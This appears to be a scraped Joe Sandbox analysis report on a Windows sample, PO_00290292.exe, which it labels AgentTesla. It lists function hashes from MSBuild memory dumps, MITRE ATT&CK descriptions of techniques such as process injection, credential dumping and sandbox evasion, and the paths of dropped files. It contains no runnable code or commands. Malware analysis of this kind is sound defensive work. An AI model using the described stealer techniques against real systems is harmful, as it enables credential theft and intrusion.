Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c25011a689777b17d6118a6b4bf413dfd68baecf74d0db308daf26c6470fa8f2
Instruction ID: 788e1d37102cbe065d635f4230ff122e08716d1d1fd4782c1f42a580109ebaa6
Opcode Fuzzy Hash: c25011a689777b17d6118a6b4bf413dfd68baecf74d0db308daf26c6470fa8f2
Instruction Fuzzy Hash: 31F065B67496405FD3118B2AD8D4D45FFA4EF9A63071540AAF549CB363D5209D06C790

Uniqueness

Uniqueness Score: -1.00%

Function 04230430 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6acd15577d569e57eb58b3c9f89a8c4d745dbc706ed17696c3cfe884f414196
Instruction ID: f7780e727a3618e0f55d3ca8f59ba7c3b030afd4018a1923b138fb8fb67a81e4
Opcode Fuzzy Hash: c6acd15577d569e57eb58b3c9f89a8c4d745dbc706ed17696c3cfe884f414196
Instruction Fuzzy Hash: 06F02B757641408FC7058B69A4900387BFBFFCA52135A80EED14DD7353DD21AC06C310

Uniqueness

Uniqueness Score: -1.00%

Function 04231948 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5c9af9bef177c55e2415cd55c069602d2f8e88ccddfecb198d30da3eb95b12
Instruction ID: 49653cf839d3357caf82423ff2b7860a1d6848dda746b318c65bdabc8fb78c72
Opcode Fuzzy Hash: 3e5c9af9bef177c55e2415cd55c069602d2f8e88ccddfecb198d30da3eb95b12
Instruction Fuzzy Hash: 60F030B5E10714AF8B34CFA9D8008AAFBF9EF48711B00856EE455D3600D731E9548B90

Uniqueness

Uniqueness Score: -1.00%

Function 04231942 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bce579f2696d1d00d840b55af481bd7c2fb9a63411ac7d2ea6b66c23c3eb8bd4
Instruction ID: dbe275b31d6c0abb5d86b031dd3c22edee0d6356e30c1b3551db6f98e709ae2f
Opcode Fuzzy Hash: bce579f2696d1d00d840b55af481bd7c2fb9a63411ac7d2ea6b66c23c3eb8bd4
Instruction Fuzzy Hash: DFF082F4E04301AF9B25CFA994008AABFF6EB48210B0445AED581C7111D731E525CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04230E52 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c6ec1b43ce4318781436b673be11232b88b34ce70755ae679c94841bb03f5a
Instruction ID: 7e9bfc82ca3a948ddffab2467768bc83857c4a5e62edf6926ea5a7143c9502df
Opcode Fuzzy Hash: c6c6ec1b43ce4318781436b673be11232b88b34ce70755ae679c94841bb03f5a
Instruction Fuzzy Hash: DEF08C342883888FE302DFA4C8946207F65FB9A300F00407AD8858B396DA7C5801CF11

Uniqueness

Uniqueness Score: -1.00%

Function 042328F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5abb62475ab9222c7d41d6645e53f895684554c667c5243a4d24df83838a05b9
Instruction ID: acc8633be14d0496a72d5f535bd90b6e10896ddf8fccf71358d36087b68b5da3
Opcode Fuzzy Hash: 5abb62475ab9222c7d41d6645e53f895684554c667c5243a4d24df83838a05b9
Instruction Fuzzy Hash: ADE08C363041006FC3108A0FEC88D46FBEDEFC8630B10802AFA0DC7320CA30AC01C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 23236493 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65e7be7f7146031fdf879e5ddaf41599f0a0bb618a44b32bcd329ae672398b6e
Instruction ID: a3b1b478a905281d30d8cd78636199aaeb5154736cad4dd4fa17932ac07853a2
Opcode Fuzzy Hash: 65e7be7f7146031fdf879e5ddaf41599f0a0bb618a44b32bcd329ae672398b6e
Instruction Fuzzy Hash: AEE086B1F0510AABDB21DE70D98579D77AD9B46214F2444E4D544D7202E176CB419380

Uniqueness

Uniqueness Score: -1.00%

Function 23236498 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff06f97b8ae29cbbafe7b777b9a0c3b9abbc76b52a7c3517cc9004b6f22fea2
Instruction ID: 329c765c412c8b65cf99824115fe6e25ecc8a42aa47c4c708c1642e5b8ca419c
Opcode Fuzzy Hash: aff06f97b8ae29cbbafe7b777b9a0c3b9abbc76b52a7c3517cc9004b6f22fea2
Instruction Fuzzy Hash: 86E0ECB1E0520AABDB20DAA4DE8574A76ADDB46214F2484E5DA08D7202E276DB819790

Uniqueness

Uniqueness Score: -1.00%

Function 042304F0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97cc29a7c5286c1dc97c6de452fee058a259557f55118b20ad86799c73ded4d
Instruction ID: 7097dcad02898a0c2ccffef6d7fbf12151e049bd52fddbb12daed996ad0e56e3
Opcode Fuzzy Hash: d97cc29a7c5286c1dc97c6de452fee058a259557f55118b20ad86799c73ded4d
Instruction Fuzzy Hash: 91E026B93007818FCB32CF34E10016A3FF8BB06641304095ED0D6C3682DB24E609C755

Uniqueness

Uniqueness Score: -1.00%

Function 04230D38 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc8bdf635a8bfae26b05e24460bab7591d1f3fb9414d145d0cafe74c492b8f
Instruction ID: 15f034498fc730865018fb1fa4896f3ad58e5e974ab161d39b4dcba63f37e39a
Opcode Fuzzy Hash: afcc8bdf635a8bfae26b05e24460bab7591d1f3fb9414d145d0cafe74c492b8f
Instruction Fuzzy Hash: CDE01AB56187819FC3328F3994405A27FF0EF465103064D8EE4C1C7656C724F819C790

Uniqueness

Uniqueness Score: -1.00%

Function 04230E60 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1850c42aa69435c0384181401b5bfab032cc5f5c9a683bf2cbdab7b6b52596b6
Instruction ID: 6585b5097b5346a7295dd7968895182218be2315663401c64904813a03a48ff5
Opcode Fuzzy Hash: 1850c42aa69435c0384181401b5bfab032cc5f5c9a683bf2cbdab7b6b52596b6
Instruction Fuzzy Hash: C4E01234380318AFE704EF95D899A21BB6AF7A9341F00803AE9458B388DABD6811CF11

Uniqueness

Uniqueness Score: -1.00%

Function 04231992 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9ee302d5b13ff52d9b0a3e5aa7355fe424e6f356bcf5d21d2afe893b4db803
Instruction ID: 6004fda9941bc65eabe561a65d456f3d65c08b0feb1c3d7fec2ccd52a7622ae5
Opcode Fuzzy Hash: ab9ee302d5b13ff52d9b0a3e5aa7355fe424e6f356bcf5d21d2afe893b4db803
Instruction Fuzzy Hash: 02E01A7610024AEFCB06CF60C484C957FB2FF1531571489EAE5458F136CB31D565DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04230500 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4584d6f13a1a92abdb372821fd6045895da42e9d021c38f4f2ee360c21d6606c
Instruction ID: 10042c566ce7246439acbb7c55de28aa56b58ac5480a70f46d342e18ba2d8b56
Opcode Fuzzy Hash: 4584d6f13a1a92abdb372821fd6045895da42e9d021c38f4f2ee360c21d6606c
Instruction Fuzzy Hash: 35D05E70710B208B4B34DF68A40085AB7FCBF09A613000A6EE45AC3600DB71F90887D6

Uniqueness

Uniqueness Score: -1.00%

Function 042316C0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10d66ba81ec16bd9dedf621ee1fdce5ac39f1163c2b27c420bad8a86bbd7f99b
Instruction ID: 8cc3cde5b627f059cb4892cce610f29bb4759a44801147810773260b565572e1
Opcode Fuzzy Hash: 10d66ba81ec16bd9dedf621ee1fdce5ac39f1163c2b27c420bad8a86bbd7f99b
Instruction Fuzzy Hash: 60D0A99A3182D529E60233A961213AE3F638B82A04F05049BC2C4C65D7C808C65203AE

Uniqueness

Uniqueness Score: -1.00%

Function 042316D0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43750db50c09473a54e89da7c45339ae2dd2320f325cabf33bfafe188a5efa5b
Instruction ID: 867e3884e00b1a3b3ea19ff7c6f41822865c54e09c3985ea9f0b3d2298220545
Opcode Fuzzy Hash: 43750db50c09473a54e89da7c45339ae2dd2320f325cabf33bfafe188a5efa5b
Instruction Fuzzy Hash: CFB09B2131453813E50431DD6410BAD769E4785E65F000067A60D877858DC55D4112FD

Uniqueness

Uniqueness Score: -1.00%

Function 04230253 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5c5b792e4ed566ebd7fc386aee5244e1c74c4fc25f0352e24bfc178bc3f9201
Instruction ID: 46618286160fc41d1136b0a5e9979633e6063c9b89174383345f23057e80f39b
Opcode Fuzzy Hash: c5c5b792e4ed566ebd7fc386aee5244e1c74c4fc25f0352e24bfc178bc3f9201
Instruction Fuzzy Hash: EAD092B0A6421ADFEF22CFC0C8187EEBB70BB04306F004519D011A6198CFB92946CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04230361 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c64536c3131f412638ac6d5e495c10834ceb89d30db4209ea82db0a1d2390ec
Instruction ID: d54e4664c4c4c1739929c32b328af34076158541101ee2ef9c71198126945118
Opcode Fuzzy Hash: 6c64536c3131f412638ac6d5e495c10834ceb89d30db4209ea82db0a1d2390ec
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0118A796 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2588095660.0000000001130000.00000040.00000400.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1130000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbf3182e8038861d9b844dbd392828f8c69fe8f7699e2fd374832bcc6d7ab63
Instruction ID: 481be04e87171c0f619b814b1566317095267bfdff623d7efa360e5b8e215204
Opcode Fuzzy Hash: 9bbf3182e8038861d9b844dbd392828f8c69fe8f7699e2fd374832bcc6d7ab63
Instruction Fuzzy Hash: A9B092353419419AD709CF08C2A5B85B3E2AF65EC0B8A8058984583925C3199944C900

Uniqueness

Uniqueness Score: -1.00%

Function 2323DD78 Relevance: 5.4, Strings: 4, Instructions: 426COMMON

Download Yara Rule

Strings

dMp, xrefs: 2323E37E
], xrefs: 2323E1A3
dMp, xrefs: 2323E2AC
C{", xrefs: 2323E21C

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: ]$dMp$dMp$C{"
API String ID: 0-3277301763
Opcode ID: 59747937495bd18b3f0069a94a751fefa6a9e34540995ff5dbbb97f56ee284fa
Instruction ID: 914214d607977cd734176c2c3235d6e4773a795a0a6ac954c2ee00e70cc33e9e
Opcode Fuzzy Hash: 59747937495bd18b3f0069a94a751fefa6a9e34540995ff5dbbb97f56ee284fa
Instruction Fuzzy Hash: 13F14E71B002098FDB14DFA8C890B9EB7B6EF86700F248569E415EB395DB34DD86CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO_00290292.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Networking

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dd44r4f.15t.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nocsdsx.j0b.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c35zokgc.wxk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p11uspji.ydw.psm1

C:\Users\user\AppData\Local\Temp\nse6573.tmp

C:\Users\user\AppData\Local\Temp\nsp6601.tmp\nsExec.dll

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\centimo.kog

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\nglepersoners.cas

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\oceanographers.por

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\sarawakese.dri

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\trediedel.txt

Windows Analysis Report
PO_00290292.exe

Function 004033B6 Relevance: 91.4, APIs: 34, Strings: 18, Instructions: 401
stringfilecomCOMMON

Function 0040541C Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Function 004061A0 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 0040596F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403D6A Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004039C7 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402E41 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

